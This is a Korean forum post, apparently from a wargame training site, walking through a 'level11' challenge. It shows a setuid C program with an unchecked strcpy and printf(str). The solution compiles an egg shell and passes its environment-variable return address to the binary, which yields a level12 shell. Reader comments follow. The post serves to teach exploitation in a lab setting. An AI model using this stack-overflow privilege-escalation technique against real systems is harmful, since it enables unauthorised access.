레벨 해킹

2844,

9/143

koresong

level11에 대한 최고의 설명

http://www.hackerschool.org/HS_Boards/zboard.php?desc=desc&no=2531 [복사]

  [level11]

역시나 힌트 파일이 있다. 그리고 attackme라는 다음 레벨의 suid파일도 보인다. 일단 힌트를 보자.
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}

전형적인 버퍼 오버플로우다. strcpy는 문자열 길이에 대한 검사를 하지 않기 때문에 버퍼 오버플로우가 일어난다. 우리의 절친한 프로그램인 egg.c를 쓰자. 에그쉘을 워낙 유명하므로 소스를 첨부하지는 않겠다. 알아서 구해라. 물론 에그쉘을 쓰지 않고 쉘코드를 직접 써넣어주어도 된다. 미니홈피 게시판에 보면 24byte 쉘코드가 있으니 활용하시라~ 하지만 그럴경우 직접 써넣어주어야 하는 번거로움이 있으므로 에그쉘을 사용해 $RET를 사용하는 것을 추천한다. $RET는 쉘주소4byte를 무한정으로 집어넣은 환경변수이다. 에그쉘을 구했는데 공교롭게도 팀멤버이셨던 패수켓님의 블로그에서 구했다는... 푸하하! 센스있게 tmp폴더로 내려가서 작업해주자.

[level11@ftz tmp]$ gcc -o egg egg.c
egg.c: In function `main':
egg.c:17: warning: return type of `main' is not `int'
[level11@ftz tmp]$ ./egg
Using address: 0xbffffab8
sh-2.05b$

에그쉘 상태로 들어왔다. 쉘주소는 0xbffffab8이다. 직접 써도 되지만 걍 $RET를 이용하자.
sh-2.05b$ ./attackme $RET
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$

간단히 레벨12의 권한을 얻었다. 패스워드를 확인하고 다음레벨로 넘어가자. 아참 나올때 작업한 파일은 지워주는 센스를 발휘하자

Hit : 3540 Date : 2007/09/29 05:30


pmj0914	이건 아예 12까지 다 풀었군요 -_-;	2007/09/30
k1rha	레벨 12도 버퍼오버 플로우 인가요?	2007/09/30
koresong	level12도 비슷한 문제 입니다.	2007/10/04
ear0111	./egg 실행하면 쉘이 뜨나요?? 난 안뜨던대;;	2008/01/15